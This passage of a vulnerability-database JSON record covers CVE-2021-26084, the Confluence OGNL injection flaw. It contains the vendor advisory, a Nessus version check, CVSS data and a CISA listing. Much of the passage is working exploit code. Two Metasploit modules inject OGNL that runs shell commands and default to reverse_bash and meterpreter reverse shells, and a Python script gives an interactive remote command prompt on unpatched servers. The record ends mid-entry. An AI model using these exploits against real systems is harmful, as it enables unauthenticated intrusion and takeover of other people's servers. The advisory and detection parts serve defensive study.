vulnerability is being actively exploited in the wild. Affected servers should be patched immediately.*\r\n\r\nAn OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.\r\n\r\nThe CVE ID is CVE-2021-26084.\r\nh4. Acknowledgements\r\n\r\nThe issue was discovered by Benny Jacob (SnowyOwl) via the Atlassian public bug bounty program.\r\n\r\nThe affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\r\n\r\n*Affected versions:*\r\n * version < 6.13.23\r\n * 6.14.0 \u2264 version < 7.4.11\r\n * 7.5.0 \u2264 version < 7.11.6\r\n * 7.12.0 \u2264 version < 7.12.5\r\n\r\n*Fixed versions:*\r\n * 6.13.23\r\n * 7.4.11\r\n * 7.11.6\r\n * 7.12.5\r\n * 7.13.0 \u00a0\r\n\r\n\u00a0", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-27T05:13:48", "type": "atlassian", "title": "Confluence Server Webwork OGNL injection - CVE-2021-26084", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-39114"], "modified": "2023-08-28T16:50:23", "id": "CONFSERVER-67940", "href": "https://jira.atlassian.com/browse/CONFSERVER-67940", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-07-18T15:52:13", "description": "The remote Atlassian Confluence application running on the remote host is affected by an OGNL injection vulnerability that would allow an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance by sending a specially crafted HTTP request.", "cvss3": {}, "published": "2021-09-07T00:00:00", "type": "nessus", "title": "Atlassian Confluence Server Webwork OGNL Injection (CVE-2021-26084)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2023-07-17T00:00:00", "cpe": ["cpe:/a:atlassian:confluence"], "id": "CONFLUENCE_CVE_2021_26084.NBIN", "href": "https://www.tenable.com/plugins/nessus/153087", "sourceData": "Binary data confluence_cve_2021_26084.nbin", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:32:23", "description": "According to its self-reported version number, the Atlassian Confluence application running on the remote host is prior to 6.13.23, 6.14.x prior to 7.4.11, 7.5.x prior to 7.11.6 or 7.12.x prior to 7.12.5. It is, therefore, affected by an OGNL injection vulnerability that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-08-26T00:00:00", "type": "nessus", "title": "Atlassian Confluence < 6.13.23 / 6.14 < 7.4.11 / 7.5 < 7.11.6 / 7.12 < 7.12.5 Webwork OGNL Injection (CONFSERVER-67940)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2023-01-30T00:00:00", "cpe": ["cpe:/a:atlassian:confluence"], "id": "CONFLUENCE_CONFSERVER-67940.NASL", "href": "https://www.tenable.com/plugins/nessus/152864", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(152864);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/01/30\");\n\n script_cve_id(\"CVE-2021-26084\");\n script_xref(name:\"IAVA\", value:\"2021-A-0397\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0042\");\n\n script_name(english:\"Atlassian Confluence < 6.13.23 / 6.14 < 7.4.11 / 7.5 < 7.11.6 / 7.12 < 7.12.5 Webwork OGNL Injection (CONFSERVER-67940)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web application running on the remote host is affected by an OGNL injection vulnerability\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version number, the Atlassian Confluence application running on the remote host is \nprior to 6.13.23, 6.14.x prior to 7.4.11, 7.5.x prior to 7.11.6 or 7.12.x prior to 7.12.5. It is, therefore, affected by an OGNL injection\nvulnerability that would allow an authenticated user, and in some instances an unauthenticated user, to execute\narbitrary code on a Confluence Server or Data Center instance.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber.\");\n # https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?7cb62fdb\");\n script_set_attribute(attribute:\"see_also\", value:\"https://jira.atlassian.com/browse/CONFSERVER-67940\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Atlassian Confluence version 6.13.23, 7.4.11, 7.11.6, 7.12.5 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26084\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Atlassian Confluence WebWork OGNL Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/08/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/08/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/08/26\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:atlassian:confluence\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"confluence_detect.nasl\");\n script_require_keys(\"installed_sw/confluence\");\n script_require_ports(\"Services/www\", 8080, 8090);\n\n exit(0);\n}\n\ninclude('http.inc');\ninclude('vcf.inc');\n\nvar port = get_http_port(default:80);\nvar app_info = vcf::get_app_info(app:'confluence', port:port, webapp:true);\n\nvar constraints = [\n {'fixed_version' : '6.13.23' },\n {'min_version' : '6.14', 'fixed_version' : '7.4.11' },\n {'min_version' : '7.5', 'fixed_version' : '7.11.6' },\n {'min_version' : '7.12', 'fixed_version' : '7.12.5', 'fixed_display' : '7.12.5 / 7.13.0'}\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "packetstorm": [{"lastseen": "2021-09-10T05:12:51", "description": "", "cvss3": {}, "published": "2021-09-10T00:00:00", "type": "packetstorm", "title": "Atlassian Confluence WebWork OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-10T00:00:00", "id": "PACKETSTORM:164122", "href": "https://packetstormsecurity.com/files/164122/Atlassian-Confluence-WebWork-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Atlassian Confluence WebWork OGNL Injection', \n'Description' => %q{ \nThis module exploits an OGNL injection in Atlassian Confluence's \nWebWork component to execute commands as the Tomcat user. \n}, \n'Author' => [ \n'Benny Jacob', # Discovery \n'Jang', # Analysis \n'wvu' # Analysis and exploit \n], \n'References' => [ \n['CVE', '2021-26084'], \n['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'], \n['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'], \n['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'], \n['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'], \n['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'], \n['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6'] \n], \n'DisclosureDate' => '2021-08-25', # Vendor advisory \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], # TODO: Windows? \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => false, # Tomcat user \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_bash' \n} \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { \n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'RPORT' => 8090 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \n# /var/atlassian/application-data/confluence/analytics-logs/*.atlassian-analytics.log \n# /var/atlassian/application-data/confluence/logs/atlassian-confluence.log \nIOC_IN_LOGS, \nARTIFACTS_ON_DISK # CmdStager \n] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \nend \n \ndef check \ntoken1 = rand_text_alphanumeric(8..16) \ntoken2 = rand_text_alphanumeric(8..16) \ntoken3 = rand_text_alphanumeric(8..16) \n \nres = inject_ognl(\"#{token1}'+'#{token2}'+'#{token3}\") \n \nreturn CheckCode::Unknown unless res \n \nunless res.code == 200 && res.body.include?(\"#{token1}#{token2}#{token3}\") \nreturn CheckCode::Safe('Failed to test OGNL injection.') \nend \n \nCheckCode::Vulnerable('Successfully tested OGNL injection.') \nend \n \ndef exploit \nprint_status(\"Executing #{payload_instance.refname} (#{target.name})\") \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nres = inject_ognl(ognl_payload(cmd)) \n \nunless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/) \nfail_with(Failure::PayloadFailed, \"Failed to execute command: #{cmd}\") \nend \n \nvprint_good(\"Successfully executed command: #{cmd}\") \nend \n \ndef inject_ognl(ognl) \nsend_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'), \n'vars_post' => { \n# https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html \n# https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341 \n'queryString' => Rex::Text.to_hex(ognl, '\\\\u00') \n} \n) \nend \n \ndef ognl_payload(cmd) \n# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution \n# https://www.tutorialspoint.com/java/lang/class_forname_loader.htm \n# https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html \n# https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html \n<<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '') \n'+Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(' \nnew java.lang.ProcessBuilder( \n\"/bin/bash\", \n\"-c\", \nnew java.lang.String( \njava.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\") \n) \n).start() \n')+' \nOGNL \nend \n \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/164122/atlassian_confluence_webwork_ognl_injection.rb.txt"}, {"lastseen": "2021-09-01T15:58:38", "description": "", "cvss3": {}, "published": "2021-09-01T00:00:00", "type": "packetstorm", "title": "Confluence Server 7.12.4 OGNL Injection Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-01T00:00:00", "id": "PACKETSTORM:164013", "href": "https://packetstormsecurity.com/files/164013/Confluence-Server-7.12.4-OGNL-Injection-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated) \n# Date: 01/09/2021 \n# Exploit Author: h3v0x \n# Vendor Homepage: https://www.atlassian.com/ \n# Software Link: https://www.atlassian.com/software/confluence/download-archives \n# Version: All < 7.12.x versions before 7.12.5 \n# Tested on: Linux Distros \n# CVE : CVE-2021-26084 \n \n#!/usr/bin/python3 \n \n# References: \n# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html \n# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md \n \nimport requests \nfrom bs4 import BeautifulSoup \nimport optparse \n \nparser = optparse.OptionParser() \nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help=\"Base target host: http://confluencexxx.com\") \nparser.add_option('-p', '--path', action=\"store\", dest=\"path\", help=\"Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x\") \n \noptions, args = parser.parse_args() \nsession = requests.Session() \n \nurl_vuln = options.url \nendpoint = options.path \n \nif not options.url or not options.path: \n \nprint('[+] Specify an url target') \nprint('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x') \nprint('[+] Example help usage: exploit.py -h') \nexit() \n \n \ndef banner(): \n \nprint('---------------------------------------------------------------') \nprint('[-] Confluence Server Webwork OGNL injection') \nprint('[-] CVE-2021-26084') \nprint('[-] https://github.com/h3v0x') \nprint('--------------------------------------------------------------- \\n') \n \n \ndef cmdExec(): \n \nwhile True: \ncmd = input('> ') \nxpl_url = url_vuln + endpoint \nxpl_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36\", \"Connection\": \"close\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept-Encoding\": \"gzip, deflate\"} \nxpl_data = {\"queryString\": \"aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022\"+cmd+\"\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027\"} \nrawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data) \n \nsoup = BeautifulSoup(rawHTML.text, 'html.parser') \nqueryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value'] \nprint(queryStringValue) \n \n \nbanner() \ncmdExec() \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/164013/confluenceserver7124-exec.txt"}, {"lastseen": "2022-06-08T16:37:11", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-08T00:00:00", "type": "packetstorm", "title": "Atlassian Confluence Namespace OGNL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-26134"], "modified": "2022-06-08T00:00:00", "id": "PACKETSTORM:167449", "href": "https://packetstormsecurity.com/files/167449/Atlassian-Confluence-Namespace-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Atlassian Confluence Namespace OGNL Injection', \n'Description' => %q{ \nThis module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to \nevaluate an OGNL expression resulting in OS command execution. \n}, \n'Author' => [ \n'Unknown', # exploited in the wild \n'bturner-r7', \n'jbaines-r7', \n'Spencer McIntyre' \n], \n'References' => [ \n['CVE', '2021-26084'], \n['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'], \n['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'], \n['URL', 'https://github.com/jbaines-r7/through_the_wire'], \n['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis'] \n], \n'DisclosureDate' => '2022-06-02', \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => false, \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :cmd \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :dropper \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'RPORT' => 8090 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \nend \n \ndef check \nversion = get_confluence_version \nreturn CheckCode::Unknown unless version \n \nvprint_status(\"Detected Confluence version: #{version}\") \nheader = \"X-#{Rex::Text.rand_text_alphanumeric(10..15)}\" \nres = inject_ognl('', header: header) # empty command works for testing, the header will be set \n \nreturn CheckCode::Unknown unless res \n \nunless res && res.headers.include?(header) \nreturn CheckCode::Safe('Failed to test OGNL injection.') \nend \n \nCheckCode::Vulnerable('Successfully tested OGNL injection.') \nend \n \ndef get_confluence_version \nreturn @confluence_version if @confluence_version \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, 'login.action') \n) \nreturn nil unless res&.code == 200 \n \npoweredby = res.get_xml_document.xpath('//ul[@id=\"poweredby\"]/li[@class=\"print-only\"]/text()').first&.text \nreturn nil unless poweredby =~ /Confluence (\\d+(\\.\\d+)*)/ \n \n@confluence_version = Rex::Version.new(Regexp.last_match(1)) \n@confluence_version \nend \n \ndef exploit \nprint_status(\"Executing #{payload_instance.refname} (#{target.name})\") \n \ncase target['Type'] \nwhen :cmd \nexecute_command(payload.encoded) \nwhen :dropper \nexecute_cmdstager \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nheader = \"X-#{Rex::Text.rand_text_alphanumeric(10..15)}\" \nres = inject_ognl(cmd, header: header) \n \nunless res && res.headers.include?(header) \nfail_with(Failure::PayloadFailed, \"Failed to execute command: #{cmd}\") \nend \n \nvprint_good(\"Successfully executed command: #{cmd}\") \nres.headers[header] \nend \n \ndef inject_ognl(cmd, header:) \nsend_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'), \n'headers' => { header => cmd } \n) \nend \n \ndef ognl_payload(_cmd, header:) \n<<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '') \n${ \nClass.forName(\"com.opensymphony.webwork.ServletActionContext\") \n.getMethod(\"getResponse\",null) \n.invoke(null,null) \n.setHeader(\"#{header}\", \nClass.forName(\"javax.script.ScriptEngineManager\") \n.newInstance() \n.getEngineByName(\"js\") \n.eval(\"java.lang.Runtime.getRuntime().exec([ \n#{target['Platform'] == 'win' ? \"'cmd.exe','/c'\" : \"'/bin/sh','-c'\"}, \ncom.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}') \n]); '#{Faker::Internet.uuid}'\") \n) \n} \nOGNL \nend \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/167449/atlassian_confluence_namespace_ognl_injection.rb.txt"}], "akamaiblog": [{"lastseen": "2021-11-26T18:37:29", "description": "Recently Atlassian has disclosed a critical RCE (Remote Code Execution) vulnerability in its Confluence server and Data Center products (CVE-2021-26084), which might allow unauthenticated users to execute arbitrary code on vulnerable servers.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-15T07:00:00", "type": "akamaiblog", "title": "Confluence Server Webwork OGNL Injection (CVE-2021-26084): How Akamai Helps You Protect Against Zero-Day Attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-15T07:00:00", "id": "AKAMAIBLOG:EC11EFBC73E974C28D27A64B77E1830E", "href": "https://www.akamai.com/blog/security/confluence-server-webwork-ognl-injection--cve-2021-26084---how-a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T14:43:59", "description": "Recently Atlassian has disclosed a critical RCE (Remote Code Execution) vulnerability in its Confluence server and Data Center products (CVE-2021-26084), which might allow unauthenticated users to execute arbitrary code on vulnerable servers.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T07:00:00", "type": "akamaiblog", "title": "Confluence Server Webwork OGNL Injection (CVE-2021-26084): How Akamai Helps You Protect Against Zero-Day Attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-15T07:00:00", "id": "AKAMAIBLOG:70514CEAD92A7A0C6AEE397520B2E557", "href": "https://www.akamai.com/blog/security/confluence-server-webwork-ognl-injection-cve-2021-26084", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Atlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-26084", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2023-06-24T15:44:26", "description": "This module exploits an OGNL injection in Atlassian Confluence's WebWork component to execute commands as the Tomcat user.\n", "cvss3": {}, "published": "2021-10-14T21:58:04", "type": "metasploit", "title": "Atlassian Confluence WebWork OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-14T21:58:04", "id": "MSF:EXPLOIT-MULTI-HTTP-ATLASSIAN_CONFLUENCE_WEBWORK_OGNL_INJECTION-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/atlassian_confluence_webwork_ognl_injection/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass 